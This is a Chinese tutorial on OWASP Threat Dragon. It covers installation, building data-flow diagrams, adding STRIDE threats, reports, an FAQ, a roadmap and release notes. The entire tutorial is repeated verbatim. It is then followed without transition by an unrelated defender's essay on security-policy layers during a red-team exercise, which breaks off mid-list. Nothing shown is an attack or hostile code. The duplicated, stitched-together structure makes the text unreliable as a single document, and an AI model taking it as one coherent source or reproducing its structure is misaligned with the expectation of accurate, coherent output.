Threat Dragon是OWASP提供的开源威胁建模工具。支持OSX,Windows,Linux,提供基于Electron的可安装桌面应用程序或Web应用程序。桌面应用程序将威胁模型保存在本地文件系统上,而在线版本将其文件存储在GitHub中。这意味着要使用Web应用程序,您必须使用GitHub帐户登录,并为其授予对公共存储库的写访问权限。除此之外,Web和桌面版本之间的用户体验目前几乎相同。将来会与GitHub(和其他代码存储库)进行更深入的集成。

Threat Dragon目前处于开发的早期阶段(OWASP孵化项目),因此可能存在一些错误。

威胁建模被广泛认为是在开发生命周期的早期将安全性纳入应用程序设计的一种有效方法。常见的安全实践防御包括但不仅限于:

  • IATF纵深防御
  • 在整个应用程序中建立一致的安全设计模式
  • 默认安全原则

但是,组织很难有效地采用威胁建模工具。原因包括:

  • 没有跨平台的免费工具
  • 现有工具的可用性不是很好,团队的生产力因此很差,尤其是在采用的早期适配阶段
  • 团队的学习曲线是陡峭的,威胁建模通常最终只留给团队的一小部分“专家”,而忽略了更广泛团队的宝贵观点
  • 与其他开发生命周期工具(例如问题跟踪工具)的集成很差,导致模型被忽略

OWASP Threat Dragon通过为实施STRIDE方法的团队提供免费的开源威胁建模Web应用程序来解决此问题。该工具的重点关注领域是:

  • 出色的用户体验:使用Threat Dragon非常简单有趣
  • 强大的威胁/缓解规则引擎:降低了团队进入的门槛,并允许非专家做出贡献和参与相关威胁建模
  • 与其他开发生命周期工具的集成:实施后,将确保模型轻松放入开发生命周期并在项目发展中保持相关性

OWASP徽标

1.1下载桌面应用

(1)桌面安装版从GitHub下载:

  • Windows(64位)
  • OSX
  • Linux

(2)Web版本:https://threatdragon.org/login

注意:当前版本的桌面应用程序未进行代码签名。这意味着当您尝试在Windows上安装它时可能会收到警告。这也意味着该应用程序将不会在OSX上自动更新。这将在将来的版本中修复。喜欢更新的可以关注github,也可以直接从Web浏览器直接访问。

下载程序后进行安装,首页如下,分成打开已有的威胁模型,创建一个新的模型,打开样例三块。菜单包括文件,编辑,视图,窗口,帮助。

image20200504175426122.png

首页欢迎页面

2.1创建一个新模型

2.1.1Web应用程序

Threat Dragon Web版本可以将其威胁模型存储在您的GitHub服务器中。这样一来,模型可以保持与正在建模的代码接近。未来的版本将提供更深入的集成,因此请注意此空间大小,首次登录Threat Dragon并单击时https://threatdragon.org,将看到“欢迎”页面。根据情况使用威胁模型。
image20200505182252957.png

登陆后依旧是创建威胁模型,打开已有的威胁模型,打开样例

image20200505182447969.png

2.1.2桌面应用

Threat Dragon桌面版本将其威胁模型存储在本地文件系统上。根据情况使用,创建还是修改已有的,还是查看样例。

image20200505182551719.png

然后,您将直接进入威胁模型编辑页面,可以在其中输入有关模型的常规信息。

2.1.3威胁模型编辑页面

我们以桌面版为例,web版本其实一致,“ Title标题”字段是必填字段。其余所有都是可选的,但是它们为您的模型提供了上下文。如果将来其他人必须选择模型,这将很有用。尽管只有Title标题字段是必填项,但是如果没有图表Diagrams,模型将毫无用处。

image20200505182847070.png

添加新的威胁模型图:
image20200505182943395.png

然后单击或点击“ **ADD添加”**以确认,或者单击“ **取消”。**在此阶段,可以仅列出图表并命名。稍后添加所有图表元素。

输入所需的所有详细信息后,点击或点击保存。也可以单击取消退出而不保存,或重新加载以撤消所有更改并恢复为上一次保存。

image20200505183107033.png

在web版本 Threat Dragon中,模型以类似的路径保存在您选择的分支中ThreatDragonModels/[model name]/[model title].json。查看 示例威胁模型可以进一步了解情况。因此,如果更改模型的标题,它将删除GitHub中的旧模型,并在新路径中将其替换为旧模型。但这并不适用于桌面版ThreatDragon。

2.2加载演示模型

假如想知道如何开始使用TreatDragon,可以加载样本威胁模型。在首页欢迎页面上,要查看样式,可以单击样例

image20200504175847886.png

然后进入到如下页面:

image20200504180243021.png

图中存在一些语法和已有的模型,关于图标,流程,数据存储,角色,数据流,信任边界,元素,威胁要素等可以阅读后续内容。

21.3打开现有模型

首页欢迎页面可以打开之前自行编辑的威胁建模项目:项目包括整体项目名称,如“Web威胁建模”,拥有者(Owner),审计员(Reviewer),贡献者(Contributor);第二个方框内是描述内容,如Web应用威胁建模。

最下面一层是建模模型,具体的威胁建模情况,这里是“Web认证”和“API安全“

image20200504185026952.png


2.4威胁模型报告

在“威胁模型”详细信息视图中,您可以看到模型的摘要报告,其中列出了图表,元素和威胁。在页面的右下角单击”Report

image20200505183343957.png

可以自定义报告以显示或隐藏

  • 超出范围的威胁元素
  • 降低威胁风险
  • 威胁模型图

在Threat Dragon桌面版本上可以打印报告或将其另存为PDF。在Web版本上可以打印报告,然后在大多数浏览器上,可以使用打印对话框将报告另存为PDF。

3.1威胁图表标题

要编辑图表标题,请单击或点击如下图所示图标。编辑完后,点击保存或者取消修改。

image20200505183516430.png

3.2流程,数据存储和参与者

通过在图编辑器左侧的模板中单击或点击相关形状,将模型元素添加到图中。添加后,可以通过单击它们以查看其属性和威胁并在图中拖动来选择它们。要删除元素,请先选择它,然后单击元素左上角的红色图标.:

该图显示了元素删除工具


3.3数据流和信任边界

通过在图编辑器左侧的模具中单击数据流和信任边界的形状,可以将其添加到图中。添加后,可以将其末端拖动到图表周围。要将数据流的末端连接到流程,数据存储或参与者,可以将其末端之一拖到元素上。绘制元素之间的数据流的一种更简便的方法是选择第一个元素,然后单击所选元素右上角附近红色删除工具旁边的灰色链接工具。这会使链接工具变为绿色。然后,当您单击另一个元素时,将创建一个新的数据流,将第一个元素链接到第二个元素。

元素链接工具

通过单击在线上的某个点可以添加额外的顶点(鼠标左键)。也可以拖动这些新顶点以定位数据流或信任边界。可以通过单击鼠标在顶点附近出现的删除工具“✖”来删除顶点。

顶点删除工具

可以通过单击鼠标在链接附近时出现的链接选项工具来选择数据流。选择之后,您可以编辑其属性或对其添加威胁。信任边界不能编辑属性。

流量选择工具

可以通过单击鼠标附近的红色删除工具来删除整个数据流或信任边界。

流量去除工具


3.4超出范围的元素

流程,数据存储,参与者和数据流可以标记为超出范围。可以将其用于帮助使图表变得有意义的必要元素,但是如果不希望对这些元素产生威胁。为了帮助审阅者Viewer(并提醒修改),可以指定将元素标记为超出范围的原因。这些元素阻止了威胁生成,超出范围的元素在图中用虚线表示:

超出范围的元素用虚线


3.5具有公开威胁的要素

具有开放(未缓解)威胁的流程,数据存储,参与者和数据流以红色突出显示,以便知道应将注意力集中在哪里:

具有公开威胁的元素是红色的


3.6编辑工具栏

图表编辑页面上的工具栏支持一些常规图表功能:

image20200505185332879.png

第一个:切换网格线的开/关。启用网格线时,元素将与它们对齐以用于更整洁的模型。

第二个: 取消编辑并返回到威胁模型详细信息视图。

第三个: 从模型中清除所有元素。

第四个: 从最后一次保存重新加载图,放弃所有更改。

第五个:为所选元素选择对应的威胁

第六个:赋值所选的元素。

第七个: 将威胁模型保存到本地浏览器存储中。


3.7元素属性

要编辑模型元素的属性,请首先选择它。元素属性显示在图编辑器的右侧。在未来版本的Threat Dragon中,威胁生成引擎将使用这些属性来建议模型的威胁和缓解措施。


3.8添加和编辑威胁

要将威胁添加到图表中的元素,请选择一个元素,然后点击或单击图表编辑器左侧的“ 编辑威胁 ”。这将折叠模型元素模具并显示所选元素的威胁。要添加新威胁,请点击或单击

image20200505185751905.png
添加新威胁.:

image20200505185947775.png

在威胁对话框中输入威胁的详细信息。在标题STRIDE威胁类型 是强制性的。完成后,点击保存。您的新威胁将会出现。要再次编辑,请点击或单击其标题。

3.9STRIDE

威胁 安全属性 定义 举例
仿冒(S) 认证 冒充人或物 冒充其他用户账号
篡改(T) 完整性 修改数据或代码 修改订单信息
抵赖(R) 审计 不承认做过某行为 不承认修改行为
信息泄露(I) 保密性 信息被泄露或窃取 用户信息被泄露
拒绝服务(D) 可用性 消耗资源、服务可不用 DDOS 导致网站不可用
权限提升(E) 授权 未经授权获取、提升权限 普通用户提升到管理员

TD仍在努力实现其第一个里程碑-Alpha版。在这一点上,到目前为止,威胁生成规则仅仅是证明技术方法的一个片段。如第7节路线图所述,计划为beta版本(里程碑2)计划一个功能更完善的规则集。Threat Dragon的Alpha版本旨在提供基本的威胁建模体验,暂时而言只是为了识别威胁和制定缓解措施。

Q1:TD与Mozilla的SeaSponge不同吗?

A1:在我进行原型制作时,主要是为了使自己正确使用javascript,我邮件列表发现了有关SeaSponge的信息。SeaSponge与该项目有很多共同点,基于他们的威胁模型文件下载功能的实现。也许将来可以合并吗?谁知道?

Q2:哪些浏览器可用于Threat Dragon?

A2:Threat Dragon已经在这些浏览器上进行了测试,但是肯定还有更多。

Platform Browser Tested
Windows Edge Microsoft Edge 38 for Windows 10
Windows IE Internet Explorer 11 for Windows 10
Windows Chrome Windows 10
Windows Firefox Windows 10
Linux Abrowser Mozilla 68.0.2 for Trisquel / Gnu Linux trisquel 8.0
MacOS Firefox Firefox 73.0.1 for macOS version 10.15
MacOS Safari Safari 13.0.2 for macOS 10.15
MacOS Chrome Google Chrome 80.0 for macOS 10.15

1.下载可安装的桌面应用程序:http://docs.threatdragon.org/#downloads

2.第一次使用Threat Dragon:http://docs.threatdragon.org/#getting-started

3.如何为威胁模型使用图表:http://docs.threatdragon.org/#threat-model-diagrams

4.对用于生成威胁的规则的描述:http://docs.threatdragon.org/#threat-generation

5.参考文献:http://docs.threatdragon.org/

6.STRIDE威胁建模方法讨论:https://www.freebuf.com/articles/es/205984.html

7.漫谈威胁建模下的安全通信:https://mp.weixin.qq.com/s/m-ouMuBGX4BhHohV52Kykg

8.威胁建模介绍:https://xz.aliyun.com/t/2061

7.1项目愿景:

该项目的总体愿景是实施一种工具,希望将威胁模型纳入其应用开发生命周期并消除期间所遇到的障碍。我看到的障碍是:

  • 缺乏跨平台工具:工具必须是全平台支持
  • 现有工具的UX较差,生产力很差:出色的UX是必须的
  • 采纳团队的陡峭学习曲线:积累专家知识以帮助团队入门的工具
  • 模型被忽略:与其他生命周期工具的集成是关键

7.2最初的高级计划:

里程碑1:Alpha发布-基本威胁建模发布

  • 对现有原型进行体系结构审查,并在需要时进行完善/更改:已确认的JointJs可以正常工作,更改了存储模型并添加了基于Electon的桌面版本。Nools规则引擎(不再受支持)被json-rules-engine取代。从Grunt/Bower转移到NPM /Browserify
  • 安全的审查设计和发现
  • 测试开发(单元和手册):Codecov报告
  • 最终用户文档::GitHub页面
  • “开源驱动”让用户可以注册Alpha / Beta用户并产生反馈。桌面应用程序的下载量为数以万计,目前尚不清楚有多少人在使用它。

里程碑2:Beta版-威胁/缓解规则引擎

  • 根据alpha版本的反馈优化UX
  • (某些)基于来自Alpha版本的反馈的功能增强功能用户实现了一些功能请求(例如,网格)和已修复的问题报告(例如,保存错误)
  • 实施规则引擎以生成威胁/缓解措施
  • 更新了测试和最终用户文档

里程碑3:发行版1

  • 根据Beta版本的反馈进行关键改进,错误修复和新功能
  • 完整的最终用户文档
  • 渗透测试

里程碑4-开发生命周期集成

  • 待定义的详细范围,但总的来说,愿景是支持问题跟踪和需求管理工具,以便可以跟踪威胁/缓解措施以进行实施和测试

7.3时间表

很难估计,因为如果涉及其他开发人员,它可能会发生很大变化。基于我现在的独处速度,我可以说发行版1可以在1年内(乐观地)完成。

7.4技术

从头到尾都是技术架构。在客户端中,关键库是MVC架构的Angular和JointJS的图表。JointJS具有大量功能的日志,但不适用于Angular。这需要进行审查。在原型中,所有存储都使用浏览器本地存储在客户端上完成。

在对体系结构进行审查之后,进行了以下关键更改:

  • 引入了一个新的基于Electron的可安装桌面版本,该版本使用本地文件系统进行模型存储
  • Web变体已更改为使用GitHub进行模型存储-其他源代码控制系统将随之而来(例如BitBucket)
  • 将通用代码分离为新的NPM软件包,在Web和桌面版本之间共享
  • 由于不再维护Nools规则引擎,因此将替换它

7.5挑战性

  • 充分利用alpha和beta来正确使用UX和规则引擎
  • 寻找一种可持续的方式来托管它,尤其是要支持更深的GitHub / BitBucket / 等等

7.6最低可行产品

  1. 威胁建模工具的应用程序源代码
  2. 该工具的最终用户文档
  3. 该工具的在线托管版本
  4. 该工具的可安装,跨平台桌面版本
Release Date Location Comments
v1.2 14 April 2020 Web app Desktop description for diagram elements label applied to boundaries save button always enabled zoom functionality disabled hot key copy and paste for diagram elements
v1.1 15 Mar 2020 Web app Duplicate element/diagram feature
v1.1 10 Mar 2020 Desktop Bug fix for blank screen on new model, and duplicate element/diagram feature
v1.0 22 Feb 2020 Desktop First full release for Windows, MacOS and Linux
v0.1.27-alpha 28 Jul 2019 Desktop Windows only
v0.1.26 16 May 2017 Desktop MacOS and Windows only
0.3.0 14 Mar 2017 Web app  
v0.1.1-alpha 14 Mar 2016 Web app

Threat Dragon是OWASP提供的开源威胁建模工具。支持OSX,Windows,Linux,提供基于Electron的可安装桌面应用程序或Web应用程序。桌面应用程序将威胁模型保存在本地文件系统上,而在线版本将其文件存储在GitHub中。这意味着要使用Web应用程序,您必须使用GitHub帐户登录,并为其授予对公共存储库的写访问权限。除此之外,Web和桌面版本之间的用户体验目前几乎相同。将来会与GitHub(和其他代码存储库)进行更深入的集成。

Threat Dragon目前处于开发的早期阶段(OWASP孵化项目),因此可能存在一些错误。

威胁建模被广泛认为是在开发生命周期的早期将安全性纳入应用程序设计的一种有效方法。常见的安全实践防御包括但不仅限于:

  • IATF纵深防御
  • 在整个应用程序中建立一致的安全设计模式
  • 默认安全原则

但是,组织很难有效地采用威胁建模工具。原因包括:

  • 没有跨平台的免费工具
  • 现有工具的可用性不是很好,团队的生产力因此很差,尤其是在采用的早期适配阶段
  • 团队的学习曲线是陡峭的,威胁建模通常最终只留给团队的一小部分“专家”,而忽略了更广泛团队的宝贵观点
  • 与其他开发生命周期工具(例如问题跟踪工具)的集成很差,导致模型被忽略

OWASP Threat Dragon通过为实施STRIDE方法的团队提供免费的开源威胁建模Web应用程序来解决此问题。该工具的重点关注领域是:

  • 出色的用户体验:使用Threat Dragon非常简单有趣
  • 强大的威胁/缓解规则引擎:降低了团队进入的门槛,并允许非专家做出贡献和参与相关威胁建模
  • 与其他开发生命周期工具的集成:实施后,将确保模型轻松放入开发生命周期并在项目发展中保持相关性

OWASP徽标

1.1下载桌面应用

(1)桌面安装版从GitHub下载:

  • Windows(64位)
  • OSX
  • Linux

(2)Web版本:https://threatdragon.org/login

注意:当前版本的桌面应用程序未进行代码签名。这意味着当您尝试在Windows上安装它时可能会收到警告。这也意味着该应用程序将不会在OSX上自动更新。这将在将来的版本中修复。喜欢更新的可以关注github,也可以直接从Web浏览器直接访问。

下载程序后进行安装,首页如下,分成打开已有的威胁模型,创建一个新的模型,打开样例三块。菜单包括文件,编辑,视图,窗口,帮助。

image20200504175426122.png

首页欢迎页面

2.1创建一个新模型

2.1.1Web应用程序

Threat Dragon Web版本可以将其威胁模型存储在您的GitHub服务器中。这样一来,模型可以保持与正在建模的代码接近。未来的版本将提供更深入的集成,因此请注意此空间大小,首次登录Threat Dragon并单击时https://threatdragon.org,将看到“欢迎”页面。根据情况使用威胁模型。
image20200505182252957.png

登陆后依旧是创建威胁模型,打开已有的威胁模型,打开样例

image20200505182447969.png

2.1.2桌面应用

Threat Dragon桌面版本将其威胁模型存储在本地文件系统上。根据情况使用,创建还是修改已有的,还是查看样例。

image20200505182551719.png

然后,您将直接进入威胁模型编辑页面,可以在其中输入有关模型的常规信息。

2.1.3威胁模型编辑页面

我们以桌面版为例,web版本其实一致,“ Title标题”字段是必填字段。其余所有都是可选的,但是它们为您的模型提供了上下文。如果将来其他人必须选择模型,这将很有用。尽管只有Title标题字段是必填项,但是如果没有图表Diagrams,模型将毫无用处。

image20200505182847070.png

添加新的威胁模型图:
image20200505182943395.png

然后单击或点击“ **ADD添加”**以确认,或者单击“ **取消”。**在此阶段,可以仅列出图表并命名。稍后添加所有图表元素。

输入所需的所有详细信息后,点击或点击保存。也可以单击取消退出而不保存,或重新加载以撤消所有更改并恢复为上一次保存。

image20200505183107033.png

在web版本 Threat Dragon中,模型以类似的路径保存在您选择的分支中ThreatDragonModels/[model name]/[model title].json。查看 示例威胁模型可以进一步了解情况。因此,如果更改模型的标题,它将删除GitHub中的旧模型,并在新路径中将其替换为旧模型。但这并不适用于桌面版ThreatDragon。

2.2加载演示模型

假如想知道如何开始使用TreatDragon,可以加载样本威胁模型。在首页欢迎页面上,要查看样式,可以单击样例

image20200504175847886.png

然后进入到如下页面:

image20200504180243021.png

图中存在一些语法和已有的模型,关于图标,流程,数据存储,角色,数据流,信任边界,元素,威胁要素等可以阅读后续内容。

21.3打开现有模型

首页欢迎页面可以打开之前自行编辑的威胁建模项目:项目包括整体项目名称,如“Web威胁建模”,拥有者(Owner),审计员(Reviewer),贡献者(Contributor);第二个方框内是描述内容,如Web应用威胁建模。

最下面一层是建模模型,具体的威胁建模情况,这里是“Web认证”和“API安全“

image20200504185026952.png


2.4威胁模型报告

在“威胁模型”详细信息视图中,您可以看到模型的摘要报告,其中列出了图表,元素和威胁。在页面的右下角单击”Report

image20200505183343957.png

可以自定义报告以显示或隐藏

  • 超出范围的威胁元素
  • 降低威胁风险
  • 威胁模型图

在Threat Dragon桌面版本上可以打印报告或将其另存为PDF。在Web版本上可以打印报告,然后在大多数浏览器上,可以使用打印对话框将报告另存为PDF。

3.1威胁图表标题

要编辑图表标题,请单击或点击如下图所示图标。编辑完后,点击保存或者取消修改。

image20200505183516430.png

3.2流程,数据存储和参与者

通过在图编辑器左侧的模板中单击或点击相关形状,将模型元素添加到图中。添加后,可以通过单击它们以查看其属性和威胁并在图中拖动来选择它们。要删除元素,请先选择它,然后单击元素左上角的红色图标.:

该图显示了元素删除工具


3.3数据流和信任边界

通过在图编辑器左侧的模具中单击数据流和信任边界的形状,可以将其添加到图中。添加后,可以将其末端拖动到图表周围。要将数据流的末端连接到流程,数据存储或参与者,可以将其末端之一拖到元素上。绘制元素之间的数据流的一种更简便的方法是选择第一个元素,然后单击所选元素右上角附近红色删除工具旁边的灰色链接工具。这会使链接工具变为绿色。然后,当您单击另一个元素时,将创建一个新的数据流,将第一个元素链接到第二个元素。

元素链接工具

通过单击在线上的某个点可以添加额外的顶点(鼠标左键)。也可以拖动这些新顶点以定位数据流或信任边界。可以通过单击鼠标在顶点附近出现的删除工具“✖”来删除顶点。

顶点删除工具

可以通过单击鼠标在链接附近时出现的链接选项工具来选择数据流。选择之后,您可以编辑其属性或对其添加威胁。信任边界不能编辑属性。

流量选择工具

可以通过单击鼠标附近的红色删除工具来删除整个数据流或信任边界。

流量去除工具


3.4超出范围的元素

流程,数据存储,参与者和数据流可以标记为超出范围。可以将其用于帮助使图表变得有意义的必要元素,但是如果不希望对这些元素产生威胁。为了帮助审阅者Viewer(并提醒修改),可以指定将元素标记为超出范围的原因。这些元素阻止了威胁生成,超出范围的元素在图中用虚线表示:

超出范围的元素用虚线


3.5具有公开威胁的要素

具有开放(未缓解)威胁的流程,数据存储,参与者和数据流以红色突出显示,以便知道应将注意力集中在哪里:

具有公开威胁的元素是红色的


3.6编辑工具栏

图表编辑页面上的工具栏支持一些常规图表功能:

image20200505185332879.png

第一个:切换网格线的开/关。启用网格线时,元素将与它们对齐以用于更整洁的模型。

第二个: 取消编辑并返回到威胁模型详细信息视图。

第三个: 从模型中清除所有元素。

第四个: 从最后一次保存重新加载图,放弃所有更改。

第五个:为所选元素选择对应的威胁

第六个:赋值所选的元素。

第七个: 将威胁模型保存到本地浏览器存储中。


3.7元素属性

要编辑模型元素的属性,请首先选择它。元素属性显示在图编辑器的右侧。在未来版本的Threat Dragon中,威胁生成引擎将使用这些属性来建议模型的威胁和缓解措施。


3.8添加和编辑威胁

要将威胁添加到图表中的元素,请选择一个元素,然后点击或单击图表编辑器左侧的“ 编辑威胁 ”。这将折叠模型元素模具并显示所选元素的威胁。要添加新威胁,请点击或单击

image20200505185751905.png
添加新威胁.:

image20200505185947775.png

在威胁对话框中输入威胁的详细信息。在标题STRIDE威胁类型 是强制性的。完成后,点击保存。您的新威胁将会出现。要再次编辑,请点击或单击其标题。

3.9STRIDE

威胁 安全属性 定义 举例
仿冒(S) 认证 冒充人或物 冒充其他用户账号
篡改(T) 完整性 修改数据或代码 修改订单信息
抵赖(R) 审计 不承认做过某行为 不承认修改行为
信息泄露(I) 保密性 信息被泄露或窃取 用户信息被泄露
拒绝服务(D) 可用性 消耗资源、服务可不用 DDOS 导致网站不可用
权限提升(E) 授权 未经授权获取、提升权限 普通用户提升到管理员

TD仍在努力实现其第一个里程碑-Alpha版。在这一点上,到目前为止,威胁生成规则仅仅是证明技术方法的一个片段。如第7节路线图所述,计划为beta版本(里程碑2)计划一个功能更完善的规则集。Threat Dragon的Alpha版本旨在提供基本的威胁建模体验,暂时而言只是为了识别威胁和制定缓解措施。

Q1:TD与Mozilla的SeaSponge不同吗?

A1:在我进行原型制作时,主要是为了使自己正确使用javascript,我邮件列表发现了有关SeaSponge的信息。SeaSponge与该项目有很多共同点,基于他们的威胁模型文件下载功能的实现。也许将来可以合并吗?谁知道?

Q2:哪些浏览器可用于Threat Dragon?

A2:Threat Dragon已经在这些浏览器上进行了测试,但是肯定还有更多。

Platform Browser Tested
Windows Edge Microsoft Edge 38 for Windows 10
Windows IE Internet Explorer 11 for Windows 10
Windows Chrome Windows 10
Windows Firefox Windows 10
Linux Abrowser Mozilla 68.0.2 for Trisquel / Gnu Linux trisquel 8.0
MacOS Firefox Firefox 73.0.1 for macOS version 10.15
MacOS Safari Safari 13.0.2 for macOS 10.15
MacOS Chrome Google Chrome 80.0 for macOS 10.15

1.下载可安装的桌面应用程序:http://docs.threatdragon.org/#downloads

2.第一次使用Threat Dragon:http://docs.threatdragon.org/#getting-started

3.如何为威胁模型使用图表:http://docs.threatdragon.org/#threat-model-diagrams

4.对用于生成威胁的规则的描述:http://docs.threatdragon.org/#threat-generation

5.参考文献:http://docs.threatdragon.org/

6.STRIDE威胁建模方法讨论:https://www.freebuf.com/articles/es/205984.html

7.漫谈威胁建模下的安全通信:https://mp.weixin.qq.com/s/m-ouMuBGX4BhHohV52Kykg

8.威胁建模介绍:https://xz.aliyun.com/t/2061

7.1项目愿景:

该项目的总体愿景是实施一种工具,希望将威胁模型纳入其应用开发生命周期并消除期间所遇到的障碍。我看到的障碍是:

  • 缺乏跨平台工具:工具必须是全平台支持
  • 现有工具的UX较差,生产力很差:出色的UX是必须的
  • 采纳团队的陡峭学习曲线:积累专家知识以帮助团队入门的工具
  • 模型被忽略:与其他生命周期工具的集成是关键

7.2最初的高级计划:

里程碑1:Alpha发布-基本威胁建模发布

  • 对现有原型进行体系结构审查,并在需要时进行完善/更改:已确认的JointJs可以正常工作,更改了存储模型并添加了基于Electon的桌面版本。Nools规则引擎(不再受支持)被json-rules-engine取代。从Grunt/Bower转移到NPM /Browserify
  • 安全的审查设计和发现
  • 测试开发(单元和手册):Codecov报告
  • 最终用户文档::GitHub页面
  • “开源驱动”让用户可以注册Alpha / Beta用户并产生反馈。桌面应用程序的下载量为数以万计,目前尚不清楚有多少人在使用它。

里程碑2:Beta版-威胁/缓解规则引擎

  • 根据alpha版本的反馈优化UX
  • (某些)基于来自Alpha版本的反馈的功能增强功能用户实现了一些功能请求(例如,网格)和已修复的问题报告(例如,保存错误)
  • 实施规则引擎以生成威胁/缓解措施
  • 更新了测试和最终用户文档

里程碑3:发行版1

  • 根据Beta版本的反馈进行关键改进,错误修复和新功能
  • 完整的最终用户文档
  • 渗透测试

里程碑4-开发生命周期集成

  • 待定义的详细范围,但总的来说,愿景是支持问题跟踪和需求管理工具,以便可以跟踪威胁/缓解措施以进行实施和测试

7.3时间表

很难估计,因为如果涉及其他开发人员,它可能会发生很大变化。基于我现在的独处速度,我可以说发行版1可以在1年内(乐观地)完成。

7.4技术

从头到尾都是技术架构。在客户端中,关键库是MVC架构的Angular和JointJS的图表。JointJS具有大量功能的日志,但不适用于Angular。这需要进行审查。在原型中,所有存储都使用浏览器本地存储在客户端上完成。

在对体系结构进行审查之后,进行了以下关键更改:

  • 引入了一个新的基于Electron的可安装桌面版本,该版本使用本地文件系统进行模型存储
  • Web变体已更改为使用GitHub进行模型存储-其他源代码控制系统将随之而来(例如BitBucket)
  • 将通用代码分离为新的NPM软件包,在Web和桌面版本之间共享
  • 由于不再维护Nools规则引擎,因此将替换它

7.5挑战性

  • 充分利用alpha和beta来正确使用UX和规则引擎
  • 寻找一种可持续的方式来托管它,尤其是要支持更深的GitHub / BitBucket / 等等

7.6最低可行产品

  1. 威胁建模工具的应用程序源代码
  2. 该工具的最终用户文档
  3. 该工具的在线托管版本
  4. 该工具的可安装,跨平台桌面版本
Release Date Location Comments
v1.2 14 April 2020 Web app Desktop description for diagram elements label applied to boundaries save button always enabled zoom functionality disabled hot key copy and paste for diagram elements
v1.1 15 Mar 2020 Web app Duplicate element/diagram feature
v1.1 10 Mar 2020 Desktop Bug fix for blank screen on new model, and duplicate element/diagram feature
v1.0 22 Feb 2020 Desktop First full release for Windows, MacOS and Linux
v0.1.27-alpha 28 Jul 2019 Desktop Windows only
v0.1.26 16 May 2017 Desktop MacOS and Windows only
0.3.0 14 Mar 2017 Web app  
v0.1.1-alpha 14 Mar 2016 Web app

写在前面

首先交代下背景,本次演练防守方的客户是一个金融企业,基础安全做了近3年,基本上就要迎接高大上的深度探索阶段,然后本次演练客户不是主要目标,属于大型目标下的小目标,也就是说供应链的一块,演练的时间本来想说是一个月的,后续又是省护,大家都明白了,总之敏感时期,不是在演练,就是在演练的路上;之所以介绍这些就是想说,防守方属于基础安全扎实,整体安全成熟度属于成长阶段,同时并不是主要攻击方,所以相应的我的压力就会小很多,虽然期间出现了很多0day,也有很多扫描,尝试攻击,甚至有异常通信,但基本上都处理完了,可能有一些没有发现的,这里也没办法说明,检测能力并不能说100%发现问题,以上就是本次攻防演练的背景。

接下来可能要说的都是和安全策略相关,攻防演练期间我们采取了一个怎么样的策略去进行防护,同时不影响业务,涉及策略的上层设计,策略的产生,策略的执行,策略的运营相关内容,因个人精力有限,就此抛砖引玉,共享盛世。

0×01 什么是策略?

策略宏观上指的时根据形势发展而制定的行动方针和斗争方法;

在服务器中,安全策略(Policy)的概念:安全策略既一种整体的安全控制策略,如依据某些服务的设计基本的存取控制策略,也是一堆具体规则(rule)的组合,指定具体服务针对具体资源的存取权限;

安全策略就是指在某个安全区域内(一个安全区域,通常是指属于某个组织的一系列处理和通信资源),用于所有与安全相关活动的一套规则。这些规则是由此安全区域中所设立的一个安全权力机构建立的,并由安全控制机构来描述、实施或实现的。

通俗一点就是针对资产(网络,数据,权限,账号等)限制访问,使用,授权等安全规则。

所以安全策略也可以叫做安全规则,由于策略的使用面和使用层级不同,策略有很多种表现,我这里参考威胁情报,我把策略分成战略层,战术层,作战(运营)层,为什么这么分层?便于对策略有不同级别的深入考虑,就个人分析发现分层不宜过多,此外要系统;

那么参考情报分层,我们可以得出:

战略策略:用于引导整个信息安全,网络安全的总体安全策略,主要用于我们用策略解决什么问题这一逻辑;

战术策略:策略如何去解决安全问题,主要考虑策略如何进一步的解决问题,问题的难易程度,策略的深度,如何去实现战略策略等等

作战(运营)策略:策略在针对安全问题进行解决的真实情况,有没有解决?解决了多少?存在什么隐患。如何优化策略?

所以我们要从三个点去考虑安全策略的生命周期,至少目前是如此。安全策略解决什么问题?安全策略如何解决问题?安全策略解决问题的效果如何?

1.1战略策略

大多数时候我们遇到某个策略时,脑海中总会有一种似曾相识的感觉。随着策略的展开,策略运营者会发现这难道不就是之前做过的类似的策略。曾几何时,同样的场景,不一样的人或工具,结果需要不断的调整策略,直到策略看起来完成全面的防护;我们不禁会想,为何没有在最开始就制定了完整的策略,一个全面覆盖的策略。尽管在策略的调整过程中可能做了一些小的优化,但对企业的安全没有持续,稳定的影响,可能有新的紧急问题得优先处理,导致策略一直没有很好的覆盖或闭环。人们对战略有一个误解,导致它往往被忽视。这个误解是没有时间实施战略。在日常的事件响应世界里发生了很多事情,有时候是每小时一次,许多人为了保持战术水平而感到不知所措。战略往往被视为“有更好”而不是“有需要”,只有在时间允许的情况下才会制定战略,但时间很少允许。

战略策略的名称不仅来自其涵盖的范围,通常是对信息具有长期影响的高层次分析,而且也来自其受众。战略策略面向具有行动能力和决策权的决策者,因为这种情报应该形成向前推进的政策和策略。但是,这并不意味着领导是唯一可以从这些见解中获益的群体。战略对各级人员都极为有用,因为它可以帮助他们了解在处理各级问题时的周围情况。理想的情况下,战略可以帮助个人理解为什么要制定某些策略,或者为什么将重点放在某个特定的领域将有助于更有效地发挥个人角色的作用。John Heidenrich说道:“战略并不是一个真正的计划,而是一个推动计划的逻辑。”

在许多情况下,战略、战术或作战(运营)之间最重要的差异之一是建模过程。在战术和作战(运营)策略中,分析人员使用他们可用的模型来解决手头的问题,无论该模型是专家策略还是人工智能策略。在战略分析中,那些模型往往是第一次更新或开发。

记住,战略策略并不是策略的具体计划和细节,战略策略只是一个推动计划的策略逻辑;战略级的策略我们需要关注目的性和逻辑性;

1.1.1目的性

演练的战略策略我们一开始有2个的目的:

1.尽量不被攻破

2.不给上级供应链造成破坏,并且不垫底

后来我们的战略策略改成了:

不垫底

那么我们的战略就决定了我们在接下来的战术层面和作战(运营)层面不会过于严苛,比如禁止变更,不允许开放站点等行为,在某一程度上我们会容忍一定的策略放过和调整;此时的策略对业务会较为放松,这也是演练期间业务运行的策略,其实和平时的是一样的;

1.1.2逻辑性

与其说是逻辑性,倒不如说是合理性,逻辑严谨让人无法反驳,从某种角度而言,策略的出发点是符合逻辑的,比如我们要做一个针对上网使用远程工具的策略,禁止使用远程工具,这就是一个简单的战略策略,有着具体的目标和目的;关于策略实施会在战术和作战层面详细说明;

总而言之就是:

战略策略一定要存在目标和目的,要在战术策略,作战策略层面可以实施,符合一定的目的性和逻辑性;

1.2战术策略

战术策略主要关注受众,策略方法;

战术策略主要是面向你的用户,也就是策略的受众,以及如何制定策略,注意,此时的策略并没有实施,可以理解为一个解决方案;拿前面提到的针对远程工具访问内网的行为,我们制定了以下的策略:

